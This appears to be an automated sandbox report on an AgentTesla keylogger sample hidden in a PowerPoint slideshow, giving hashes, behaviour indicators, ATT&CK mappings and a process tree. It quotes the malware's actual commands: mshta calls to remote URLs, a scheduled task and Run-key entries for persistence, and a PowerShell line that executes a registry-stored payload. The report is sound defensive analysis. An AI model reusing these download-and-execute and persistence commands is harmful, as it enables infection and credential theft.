agenttesla | 18b7a818fd88133d309ce7191e9c3eb85a3b31d0bbaf2c08df0f1cbdc26a7513

General

Target

PO944888299393.pps
Size

77KB
MD5

858604f0166fa58fe09e96988a87477c
SHA1

bed0b866c6b8cc1048153b22e96a51f464d6582b
SHA256

18b7a818fd88133d309ce7191e9c3eb85a3b31d0bbaf2c08df0f1cbdc26a7513
SHA512

d05a52ed607c6b96875428b8f3aa379c5460db17e6480e5bb3bfbdf0ba72fd895acb523b846413e99ca1d056a371462df94ca1556cd98ac2e1f0be1144da596d

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3744	3916	mshta.exe	POWERPNT.EXE
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4008	4020	powershell.exe

AgentTesla Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/208-187-0x0000000000437D8E-mapping.dmp	family_agenttesla

Blocklisted process makes network request 12 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
16	3744	mshta.exe
21	3744	mshta.exe
29	3744	mshta.exe
32	3744	mshta.exe
34	3744	mshta.exe
35	3744	mshta.exe
37	3744	mshta.exe
39	3744	mshta.exe
40	3744	mshta.exe
45	4008	powershell.exe
48	4008	powershell.exe
50	4008	powershell.exe

Drops file in Drivers directory 1 IoCs

Processes:

aspnet_compiler.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts aspnet_compiler.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	aspnet_compiler.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\DLESOLCRETSAM = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).MSOFFICELO)\|IEX\"\", 0 : window.close\")"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography = "\"mshta\"\"http://1230948%[email protected]/p/9.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"mshta\"\"http://1230948%[email protected]/p/9.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo = "\"mshta\"\"http://1230948%[email protected]/p/9.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\replcia = "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell ((gp HKCU:\\Software).nasdnasndnad)\|IEX\"\", 0 : window.close\")"	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4008 set thread context of 208 4008 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3164 3744 WerFault.exe mshta.exe

description	pid	process	target process
PID 4008 set thread context of 208	4008	powershell.exe	aspnet_compiler.exe

pid	pid_target	process	target process
3164	3744	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1512 schtasks.exe

pid	process
1512	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

2904 taskkill.exe
3520 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

3916 POWERPNT.EXE

pid	process
2904	taskkill.exe
3520	taskkill.exe

pid	process
3916	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 23 IoCs

Processes:

powershell.exeWerFault.exeaspnet_compiler.exe

pid	process
4008	powershell.exe
4008	powershell.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
3164	WerFault.exe
4008	powershell.exe
4008	powershell.exe
4008	powershell.exe
208	aspnet_compiler.exe
208	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

Processes:

powershell.exetaskkill.exeaspnet_compiler.exeWerFault.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	3520	taskkill.exe
Token: SeDebugPrivilege	2904	aspnet_compiler.exe
Token: SeDebugPrivilege	3164	WerFault.exe
Token: SeIncreaseQuotaPrivilege	4008	powershell.exe
Token: SeSecurityPrivilege	4008	powershell.exe
Token: SeTakeOwnershipPrivilege	4008	powershell.exe
Token: SeLoadDriverPrivilege	4008	powershell.exe
Token: SeSystemProfilePrivilege	4008	powershell.exe
Token: SeSystemtimePrivilege	4008	powershell.exe
Token: SeProfSingleProcessPrivilege	4008	powershell.exe
Token: SeIncBasePriorityPrivilege	4008	powershell.exe
Token: SeCreatePagefilePrivilege	4008	powershell.exe
Token: SeBackupPrivilege	4008	powershell.exe
Token: SeRestorePrivilege	4008	powershell.exe
Token: SeShutdownPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeSystemEnvironmentPrivilege	4008	powershell.exe
Token: SeRemoteShutdownPrivilege	4008	powershell.exe
Token: SeUndockPrivilege	4008	powershell.exe
Token: SeManageVolumePrivilege	4008	powershell.exe
Token: 33	4008	powershell.exe
Token: 34	4008	powershell.exe
Token: 35	4008	powershell.exe
Token: 36	4008	powershell.exe
Token: SeIncreaseQuotaPrivilege	4008	powershell.exe
Token: SeSecurityPrivilege	4008	powershell.exe
Token: SeTakeOwnershipPrivilege	4008	powershell.exe
Token: SeLoadDriverPrivilege	4008	powershell.exe
Token: SeSystemProfilePrivilege	4008	powershell.exe
Token: SeSystemtimePrivilege	4008	powershell.exe
Token: SeProfSingleProcessPrivilege	4008	powershell.exe
Token: SeIncBasePriorityPrivilege	4008	powershell.exe
Token: SeCreatePagefilePrivilege	4008	powershell.exe
Token: SeBackupPrivilege	4008	powershell.exe
Token: SeRestorePrivilege	4008	powershell.exe
Token: SeShutdownPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeSystemEnvironmentPrivilege	4008	powershell.exe
Token: SeRemoteShutdownPrivilege	4008	powershell.exe
Token: SeUndockPrivilege	4008	powershell.exe
Token: SeManageVolumePrivilege	4008	powershell.exe
Token: 33	4008	powershell.exe
Token: 34	4008	powershell.exe
Token: 35	4008	powershell.exe
Token: 36	4008	powershell.exe
Token: SeDebugPrivilege	208	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXEaspnet_compiler.exe

pid process

3916 POWERPNT.EXE
3916 POWERPNT.EXE
208 aspnet_compiler.exe

pid	process
3916	POWERPNT.EXE
3916	POWERPNT.EXE
208	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exe

description	pid	process	target process
PID 3916 wrote to memory of 3744	3916	POWERPNT.EXE	mshta.exe
PID 3916 wrote to memory of 3744	3916	POWERPNT.EXE	mshta.exe
PID 3744 wrote to memory of 1512	3744	mshta.exe	schtasks.exe
PID 3744 wrote to memory of 1512	3744	mshta.exe	schtasks.exe
PID 3744 wrote to memory of 2904	3744	mshta.exe	aspnet_compiler.exe
PID 3744 wrote to memory of 2904	3744	mshta.exe	aspnet_compiler.exe
PID 3744 wrote to memory of 3520	3744	mshta.exe	taskkill.exe
PID 3744 wrote to memory of 3520	3744	mshta.exe	taskkill.exe
PID 4008 wrote to memory of 2904	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 2904	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 2904	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 208	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 208	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 208	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 208	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 208	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 208	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 208	4008	powershell.exe	aspnet_compiler.exe
PID 4008 wrote to memory of 208	4008	powershell.exe	aspnet_compiler.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\PO944888299393.pps" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3916

C:\Windows\SYSTEM32\mshta.exe
mshta http://www.j.mp/djaksldqowdihjdam
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3744

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%[email protected]/p/9.html""\"", 0 : window.close"\")
3⤵
- Creates scheduled task(s)
PID:1512

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
PID:2904

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3520

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3744 -s 2792
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3164

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -noexit ((gp HKCU:\Software).MSOFFICELO)|IEX
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4008

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2904

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
2⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:208

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/208-188-0x0000000004D80000-0x0000000004D81000-memory.dmp

Filesize
4KB

Download
memory/208-187-0x0000000000437D8E-mapping.dmp

Download
memory/1512-180-0x0000000000000000-mapping.dmp

Download
memory/2904-181-0x0000000000000000-mapping.dmp

Download
memory/3520-182-0x0000000000000000-mapping.dmp

Download
memory/3744-179-0x0000000000000000-mapping.dmp

Download
memory/3916-119-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3916-123-0x00007FFC0A880000-0x00007FFC0C775000-memory.dmp

Filesize
31.0MB

Download
memory/3916-122-0x00007FFC104C0000-0x00007FFC115AE000-memory.dmp

Filesize
16.9MB

Download
memory/3916-118-0x00007FFC13580000-0x00007FFC1515D000-memory.dmp

Filesize
27.9MB

Download
memory/3916-114-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3916-117-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3916-116-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/3916-115-0x00007FFBF09B0000-0x00007FFBF09C0000-memory.dmp

Filesize
64KB

Download
memory/4008-183-0x000001A0E9A90000-0x000001A0E9A92000-memory.dmp

Filesize
8KB

Download
memory/4008-184-0x000001A0E9A93000-0x000001A0E9A95000-memory.dmp

Filesize
8KB

Download
memory/4008-185-0x000001A0E9A96000-0x000001A0E9A98000-memory.dmp

Filesize
8KB

Download
memory/4008-186-0x000001A0E9A98000-0x000001A0E9A99000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads